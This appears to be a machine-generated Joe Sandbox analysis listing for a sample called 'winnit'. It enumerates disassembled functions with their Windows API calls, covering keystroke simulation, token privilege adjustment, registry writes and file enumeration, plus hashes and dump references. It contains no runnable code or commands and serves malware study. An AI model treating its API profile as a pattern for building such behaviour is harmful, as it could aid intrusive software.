                                          • GetKeyState.USER32(00000009), ref: 00B3CCC3
                                          • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B3CCD9
                                          • GetKeyState.USER32(00000010), ref: 00B3CCE3
                                          • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B3CD0C
                                          • SendMessageW.USER32 ref: 00B3CD33
                                          • SendMessageW.USER32(?,00001030,?,00B3B348), ref: 00B3CE37
                                          • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00B3CE4D
                                          • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00B3CE60
                                          • SetCapture.USER32(?), ref: 00B3CE69
                                          • ClientToScreen.USER32(?,?), ref: 00B3CECE
                                          • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00B3CEDB
                                          • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B3CEF5
                                          • ReleaseCapture.USER32 ref: 00B3CF00
                                          • GetCursorPos.USER32(?), ref: 00B3CF3A
                                          • ScreenToClient.USER32(?,?), ref: 00B3CF47
                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 00B3CFA3
                                          • SendMessageW.USER32 ref: 00B3CFD1
                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 00B3D00E
                                          • SendMessageW.USER32 ref: 00B3D03D
                                          • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00B3D05E
                                          • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00B3D06D
                                          • GetCursorPos.USER32(?), ref: 00B3D08D
                                          • ScreenToClient.USER32(?,?), ref: 00B3D09A
                                          • GetParent.USER32(?), ref: 00B3D0BA
                                          • SendMessageW.USER32(?,00001012,00000000,?), ref: 00B3D123
                                          • SendMessageW.USER32 ref: 00B3D154
                                          • ClientToScreen.USER32(?,?), ref: 00B3D1B2
                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00B3D1E2
                                          • SendMessageW.USER32(?,00001111,00000000,?), ref: 00B3D20C
                                          • SendMessageW.USER32 ref: 00B3D22F
                                          • ClientToScreen.USER32(?,?), ref: 00B3D281
                                          • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00B3D2B5
                                            • Part of subcall function 00AB25DB: GetWindowLongW.USER32(?,000000EB), ref: 00AB25EC
                                          • GetWindowLongW.USER32(?,000000F0), ref: 00B3D351
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                          • String ID: @GUI_DRAGID$F
                                          • API String ID: 3977979337-4164748364
                                          • Opcode ID: cb881ae114952477db297e4daee944d8f381a9202104b6099f8e53da57a7928d
                                          • Instruction ID: b2a9f0b3c4f1707b9a7551c0606239b3264e6aab90d027d490f0649fa34022b7
                                          • Opcode Fuzzy Hash: cb881ae114952477db297e4daee944d8f381a9202104b6099f8e53da57a7928d
                                          • Instruction Fuzzy Hash: 0B42EE34604245AFCB24CF68C885FAABFE5FF48310F240599F599A72B1DB71E841DB92
                                          Function 00AC6F9E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5018COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: _memmove$_memset
                                          • String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
                                          • API String ID: 1357608183-1798697756
                                          • Opcode ID: 90df2f3f4ece96858ebcf0145cbc3eafeb4fd1376523a4b85f02361f250b5026
                                          • Instruction ID: 0fdb3936a30511ef993bf39ae2bf5851de5e422318c6ea6145e2ea5a2a209fbf
                                          • Opcode Fuzzy Hash: 90df2f3f4ece96858ebcf0145cbc3eafeb4fd1376523a4b85f02361f250b5026
                                          • Instruction Fuzzy Hash: A6939175A04219DFDB24CF98C885BADBBF1FF48710F2581AAE945AB2D1E7709D81CB40
                                          Function 00AB48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetForegroundWindow.USER32(00000000,?), ref: 00AB48DF
                                          • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00AED665
                                          • IsIconic.USER32(?), ref: 00AED66E
                                          • ShowWindow.USER32(?,00000009), ref: 00AED67B
                                          • SetForegroundWindow.USER32(?), ref: 00AED685
                                          • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00AED69B
                                          • GetCurrentThreadId.KERNEL32 ref: 00AED6A2
                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 00AED6AE
                                          • AttachThreadInput.USER32(?,00000000,00000001), ref: 00AED6BF
                                          • AttachThreadInput.USER32(?,00000000,00000001), ref: 00AED6C7
                                          • AttachThreadInput.USER32(00000000,?,00000001), ref: 00AED6CF
                                          • SetForegroundWindow.USER32(?), ref: 00AED6D2
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00AED6E7
                                          • keybd_event.USER32(00000012,00000000), ref: 00AED6F2
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00AED6FC
                                          • keybd_event.USER32(00000012,00000000), ref: 00AED701
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00AED70A
                                          • keybd_event.USER32(00000012,00000000), ref: 00AED70F
                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 00AED719
                                          • keybd_event.USER32(00000012,00000000), ref: 00AED71E
                                          • SetForegroundWindow.USER32(?), ref: 00AED721
                                          • AttachThreadInput.USER32(?,?,00000000), ref: 00AED748
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                          • String ID: Shell_TrayWnd
                                          • API String ID: 4125248594-2988720461
                                          • Opcode ID: 256d0d4c6fc9c473a5d12f89c681eaa53e711d679f948d03c0ba5fd248fe2135
                                          • Instruction ID: df07d6381dd04bde3e206bc8d0ba4a8db49ec36064ef8b1d18c8cbcf81d75312
                                          • Opcode Fuzzy Hash: 256d0d4c6fc9c473a5d12f89c681eaa53e711d679f948d03c0ba5fd248fe2135
                                          • Instruction Fuzzy Hash: 30315771A40358BBEB216F629C49F7F7E6CEB54B50F214025FA04EB1D1CA705D01EAA1
                                          Function 00B08310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B087E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00B0882B
                                            • Part of subcall function 00B087E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00B08858
                                            • Part of subcall function 00B087E1: GetLastError.KERNEL32 ref: 00B08865
                                          • _memset.LIBCMT ref: 00B08353
                                          • DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00B083A5
                                          • CloseHandle.KERNEL32(?), ref: 00B083B6
                                          • OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00B083CD
                                          • GetProcessWindowStation.USER32 ref: 00B083E6
                                          • SetProcessWindowStation.USER32(00000000), ref: 00B083F0
                                          • OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00B0840A
                                            • Part of subcall function 00B081CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00B08309), ref: 00B081E0
                                            • Part of subcall function 00B081CB: CloseHandle.KERNEL32(?,?,00B08309), ref: 00B081F2
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
                                          • String ID: $default$winsta0
                                          • API String ID: 2063423040-1027155976
                                          • Opcode ID: cd5115fb912ac6cfc899547ba1e258179659c19edc28c1784fd4ad7af93791f5
                                          • Instruction ID: e1aad44c7088bc45710c92e06c7c1bd63a40e1bebdc4a8d12a77f38384f8a97c
                                          • Opcode Fuzzy Hash: cd5115fb912ac6cfc899547ba1e258179659c19edc28c1784fd4ad7af93791f5
                                          • Instruction Fuzzy Hash: 3A814AB1900209AFDF119FA4DD46AFE7FB9EF04304F2441A9F955A72A1DB319E14DB20
                                          Function 00B1C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(?,?), ref: 00B1C78D
                                          • FindClose.KERNEL32(00000000), ref: 00B1C7E1
                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B1C806
                                          • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00B1C81D
                                          • FileTimeToSystemTime.KERNEL32(?,?), ref: 00B1C844
                                          • __swprintf.LIBCMT ref: 00B1C890
                                          • __swprintf.LIBCMT ref: 00B1C8D3
                                            • Part of subcall function 00AB7DE1: _memmove.LIBCMT ref: 00AB7E22
                                          • __swprintf.LIBCMT ref: 00B1C927
                                            • Part of subcall function 00AD3698: __woutput_l.LIBCMT ref: 00AD36F1
                                          • __swprintf.LIBCMT ref: 00B1C975
                                            • Part of subcall function 00AD3698: __flsbuf.LIBCMT ref: 00AD3713
                                            • Part of subcall function 00AD3698: __flsbuf.LIBCMT ref: 00AD372B
                                          • __swprintf.LIBCMT ref: 00B1C9C4
                                          • __swprintf.LIBCMT ref: 00B1CA13
                                          • __swprintf.LIBCMT ref: 00B1CA62
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
                                          • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
                                          • API String ID: 3953360268-2428617273
                                          • Opcode ID: dbd328e8d097567111c1d9b2606bc56567eb8fc8706a76ad7bd52d437ea551e6
                                          • Instruction ID: 2a99726806c61f02dd73563518a4e9bec2f937e0e24c0ca2e2d4a741a160e6a5
                                          • Opcode Fuzzy Hash: dbd328e8d097567111c1d9b2606bc56567eb8fc8706a76ad7bd52d437ea551e6
                                          • Instruction Fuzzy Hash: C3A11DB2408305ABD750EFA4C985DEFB7ECFF95704F400919F59687192EA34EA48CB62
                                          Function 00B1EF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00B1EFB6
                                          • _wcscmp.LIBCMT ref: 00B1EFCB
                                          • _wcscmp.LIBCMT ref: 00B1EFE2
                                          • GetFileAttributesW.KERNEL32(?), ref: 00B1EFF4
                                          • SetFileAttributesW.KERNEL32(?,?), ref: 00B1F00E
                                          • FindNextFileW.KERNEL32(00000000,?), ref: 00B1F026
                                          • FindClose.KERNEL32(00000000), ref: 00B1F031
                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 00B1F04D
                                          • _wcscmp.LIBCMT ref: 00B1F074
                                          • _wcscmp.LIBCMT ref: 00B1F08B
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00B1F09D
                                          • SetCurrentDirectoryW.KERNEL32(00B68920), ref: 00B1F0BB
                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B1F0C5
                                          • FindClose.KERNEL32(00000000), ref: 00B1F0D2
                                          • FindClose.KERNEL32(00000000), ref: 00B1F0E4
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
                                          • String ID: *.*
                                          • API String ID: 1803514871-438819550
                                          • Opcode ID: 359725304bd52e9e4d42308df176b06aeff02d9017321b66f20b9d8861e1cd01
                                          • Instruction ID: 1de9db1d3c8c7ed5c1e5d81ff3f7b3f4273cb29f3aea1aa04bff0a360eaa24a7
                                          • Opcode Fuzzy Hash: 359725304bd52e9e4d42308df176b06aeff02d9017321b66f20b9d8861e1cd01
                                          • Instruction Fuzzy Hash: 5F31B13290121AAADB149FA4EC5CAFE77EDDF48360F5001B6F804D31A1DB74DA84CA65
                                          Function 00B30857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B30953
                                          • RegCreateKeyExW.ADVAPI32(?,?,00000000,00B3F910,00000000,?,00000000,?,?), ref: 00B309C1
                                          • RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00B30A09
                                          • RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00B30A92
                                          • RegCloseKey.ADVAPI32(?), ref: 00B30DB2
                                          • RegCloseKey.ADVAPI32(00000000), ref: 00B30DBF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Close$ConnectCreateRegistryValue
                                          • String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
                                          • API String ID: 536824911-966354055
                                          • Opcode ID: aea0aaebe072740bf986c8a84b20bed7b46908145b49ea08e6c67aef981f99ef
                                          • Instruction ID: 5611b549da8164364ba2cdac660f1019b7de4d4749f1b254504cb9d547335e10
                                          • Opcode Fuzzy Hash: aea0aaebe072740bf986c8a84b20bed7b46908145b49ea08e6c67aef981f99ef
                                          • Instruction Fuzzy Hash: 71025B756046019FCB14EF68C991E6AB7E9FF89314F14859DF98A9B362CB30EC41CB81
                                          Function 00B1F0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • FindFirstFileW.KERNEL32(?,?,75918FB0,?,00000000), ref: 00B1F113
                                          • _wcscmp.LIBCMT ref: 00B1F128
                                          • _wcscmp.LIBCMT ref: 00B1F13F
                                            • Part of subcall function 00B14385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00B143A0
                                          • FindNextFileW.KERNEL32(00000000,?), ref: 00B1F16E
                                          • FindClose.KERNEL32(00000000), ref: 00B1F179
                                          • FindFirstFileW.KERNEL32(*.*,?), ref: 00B1F195
                                          • _wcscmp.LIBCMT ref: 00B1F1BC
                                          • _wcscmp.LIBCMT ref: 00B1F1D3
                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 00B1F1E5
                                          • SetCurrentDirectoryW.KERNEL32(00B68920), ref: 00B1F203
                                          • FindNextFileW.KERNEL32(00000000,00000010), ref: 00B1F20D
                                          • FindClose.KERNEL32(00000000), ref: 00B1F21A
                                          • FindClose.KERNEL32(00000000), ref: 00B1F22C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
                                          • String ID: *.*
                                          • API String ID: 1824444939-438819550
                                          • Opcode ID: 12552428816c4c09dd65d2fd14e04a4d05782f0cbc6632b1706d0db5f338dd3a
                                          • Instruction ID: 9f78d197562a8d85c5f9c3249876fb760f4fe06f4dbe7f6c7c2ef5bb7c7561e5
                                          • Opcode Fuzzy Hash: 12552428816c4c09dd65d2fd14e04a4d05782f0cbc6632b1706d0db5f338dd3a
                                          • Instruction Fuzzy Hash: E631833690021BBADB149EA4EC59AFE77ECDF49360F6401B5F814A31A0DB34DA85CA94
                                          Function 00B1A1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B1A20F
                                          • __swprintf.LIBCMT ref: 00B1A231
                                          • CreateDirectoryW.KERNEL32(?,00000000), ref: 00B1A26E
                                          • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00B1A293
                                          • _memset.LIBCMT ref: 00B1A2B2
                                          • _wcsncpy.LIBCMT ref: 00B1A2EE
                                          • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00B1A323
                                          • CloseHandle.KERNEL32(00000000), ref: 00B1A32E
                                          • RemoveDirectoryW.KERNEL32(?), ref: 00B1A337
                                          • CloseHandle.KERNEL32(00000000), ref: 00B1A341
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                          • String ID: :$\$\??\%s
                                          • API String ID: 2733774712-3457252023
                                          • Opcode ID: a2386b529310151e5ae1facb2e092370ec658689c3199d1bcfac192efceaf7ee
                                          • Instruction ID: c636710772c36605fcb81340bc5c13911d309f16a25a7c43585f8f2621422047
                                          • Opcode Fuzzy Hash: a2386b529310151e5ae1facb2e092370ec658689c3199d1bcfac192efceaf7ee
                                          • Instruction Fuzzy Hash: DF31927590010AABDB219FA0DC49FFF77BCEF88740F6041B6F909D2160EB7496848B65
                                          Function 00AC66E1 Relevance: 18.4, Strings: 14, Instructions: 889COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
                                          • API String ID: 0-4052911093
                                          • Opcode ID: 5514053c86f42847e526b26f3e9ab03ab0a8e946ebffb203258c12577f4c0810
                                          • Instruction ID: bcd96156bc0efa0f7e8e4df80acaf9898cd29de2a8e65c7fa51e59e16b731c5e
                                          • Opcode Fuzzy Hash: 5514053c86f42847e526b26f3e9ab03ab0a8e946ebffb203258c12577f4c0810
                                          • Instruction Fuzzy Hash: AD725175E00219DBDB18CF59C880BAEBBF5FF48710F1585AAE845EB291DB349D81CB90
                                          Function 00B1001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?), ref: 00B10097
                                          • SetKeyboardState.USER32(?), ref: 00B10102
                                          • GetAsyncKeyState.USER32(000000A0), ref: 00B10122
                                          • GetKeyState.USER32(000000A0), ref: 00B10139
                                          • GetAsyncKeyState.USER32(000000A1), ref: 00B10168
                                          • GetKeyState.USER32(000000A1), ref: 00B10179
                                          • GetAsyncKeyState.USER32(00000011), ref: 00B101A5
                                          • GetKeyState.USER32(00000011), ref: 00B101B3
                                          • GetAsyncKeyState.USER32(00000012), ref: 00B101DC
                                          • GetKeyState.USER32(00000012), ref: 00B101EA
                                          • GetAsyncKeyState.USER32(0000005B), ref: 00B10213
                                          • GetKeyState.USER32(0000005B), ref: 00B10221
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186401613.0000000000B77000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_6_2_ab0000_winnit.jbxd
                                          Similarity
                                          • API ID: State$Async$Keyboard
                                          • String ID:
                                          • API String ID: 541375521-0
                                          • Opcode ID: 63555216eb4a807af668fa3ac91025bd31d6aaa9eab52f0f3724c2660e571581
                                          • Instruction ID: 7140192e119adceb90f22b72e87aa7aa4abd733b60ae079d19054e437fc87b4d
                                          • Opcode Fuzzy Hash: 63555216eb4a807af668fa3ac91025bd31d6aaa9eab52f0f3724c2660e571581
                                          • Instruction Fuzzy Hash: 1351E92091478869FB35FBA088547EABFF4DF01380F8845DA99C2575C2DAE49BCCC7A1
                                          Function 00B303DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00B30E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B2FDAD,?,?), ref: 00B30E31
                                          • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B304AC
                                            • Part of subcall function 00AB9837: __itow.LIBCMT ref: 00AB9862
                                            • Part of subcall function 00AB9837: __swprintf.LIBCMT ref: 00AB98AC
                                          • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B3054B
                                          • RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00B305E3
                                          • RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00B30822
                                          • RegCloseKey.ADVAPI32(00000000), ref: 00B3082F
                                          Memory Dump Source
                                          • Source File: 00000006.00000002.2186225262.0000000000AB1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00AB0000, based on PE: true
                                          • Associated: 00000006.00000002.2186196810.0000000000AB0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B3F000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186302265.0000000000B64000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                          • Associated: 00000006.00000002.2186373648.0000000000B6E000.00000004.00000001.01000000.0000000C.sdmpDownload File
